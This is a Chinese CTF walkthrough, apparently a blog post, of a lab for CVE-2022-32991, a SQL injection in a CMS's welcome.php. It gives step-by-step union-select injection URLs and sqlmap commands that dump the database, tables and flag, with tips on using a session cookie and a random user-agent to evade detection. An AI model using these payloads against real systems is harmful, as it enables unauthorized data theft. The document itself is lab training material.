1、[春秋云镜]CVE-2022-32991

一、相关信息

  靶场提示:该CMS的welcome.php中存在SQL注入攻击。

  NVD关于漏洞的描述:
在这里插入图片描述

  注入点不仅在eid处!!!

二、解题思路(手注)

(1)既然NVD说漏洞在welcome.php处,且参数为eid,先注册账号。
在这里插入图片描述
(2)登录账号后,发现页面就是welcome.php。
在这里插入图片描述

(3)随便点一个action,点点submit,会发现url中的n参数会变。故,判断是否存在sql注入的payload:eci-2zef3tp09dhdta6qxsqy.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1‘&t=10(单引号判断法)。

在这里插入图片描述
在这里插入图片描述

添加单引号后,页面报错,说明存在SQL注入。

👂👂👂知识点:在参数后面加,无论是字符型还是数字型注入,都会报错。

(4)判断是数字型注入还是字符型注入,payload:http://eci-2zef3tp09dhdta6qxsqy.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20and%20%271%27%20=%20%271&t=10

在这里插入图片描述
http://eci-2zef3tp09dhdta6qxsqy.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20and%20%271%27%20=%20%272&t=10
在这里插入图片描述

👂👂👂知识点:
(1)判断为数字型注入:

  • and 1=1(页面正常);
  • and 1=1 (页面报错)。
    (2)判断为字符型注入:
  • ’ and ‘1’='1(页面正常);
  • ’ and ‘1’='2(页面报错)。

(5)判断有几列,payload:http://eci-2zef3tp09dhdta6qxsqy.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20order%20by%20%205%20--+%20%20#&t=10。经判断,表存在五列。
在这里插入图片描述

👂👂👂知识点:使用order by时,必须保证其之前的语句为真。

(6)判断回显位置,payload:http://eci-2zeayli1t9q3yh3vsp64.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20union%20select%201,2,3,4,5--+&t=10
在这里插入图片描述
(7)数据库名,payload:http://eci-2zeayli1t9q3yh3vsp64.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20union%20select%201,2,database(),4,5--+&t=10
在这里插入图片描述
(8)表名,payload:http://eci-2zeayli1t9q3yh3vsp64.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20union%20select%201,2,(select group_concat(table_name) from information_schema.tables where table_schema='security'),4,5--+&t=10
在这里插入图片描述
(9)字段名,payload:http://eci-2zeayli1t9q3yh3vsp64.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20union%20select%201,2,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='flag'),4,5--+&t=10
在这里插入图片描述
(10)字段内容,payload:http://eci-2zeayli1t9q3yh3vsp64.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20union%20select%201,2,(select group_concat(concat(flag,'%23')) from ctf.flag),4,5--+&t=10

在这里插入图片描述

三、通关思路(sqlmap)

👂👂👂注入六连:

  1. sqlmap -u "http://www.xx.com?id=x" (查询是否存在注入点)
  2. --dbs (检测站点包含哪些数据库)
  3. --current-db (获取当前的数据库名)
  4. --tables -D "db_name" (获取指定数据库中的表名 -D后接指定的数据库名称)
  5. --columns -T "table_name" -D "db_name"(获取数据库表中的字段)
  6. --dump -C "columns_name" -T "table_name" -D "db_name" (获取字段的数据内容)

注意:由于该页面采用了登录访问,所以首先想到要使用–cookie参数使得sqlmap绕过身份验证,并添加–user-agent参数或–random-agent使得sqlmap绕过客户端验证,否则可能会被识别到明显的sqlmap客户端标识,从而导致攻击的中断。如:

--cookie="PHPSESSID=k5854nfic1qngm5ul1vmb8pbma"
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"

(1)查询是否存在注入点,payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10 --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent
在这里插入图片描述

sqlmap爆破出:该站点存在两个注入点。

(2)检测站点包含哪些数据库,payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10 --dbs --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent

在这里插入图片描述
(3)获取当前数据库名,payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10 --current-db --batch --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent

--batch:默认确认,不询问你是否输入。

在这里插入图片描述
(4)获取指定数据库中的表名。payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10' --tables -D "ctf" --batch --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent

在这里插入图片描述
(5)获取指定数据库表中的字段名,payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10' --columns -T "flag" -D "ctf" --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent

在这里插入图片描述

(6)获取字段的数据内容,payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10' --dump -C "flag" -T "flag" -D "ctf" --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值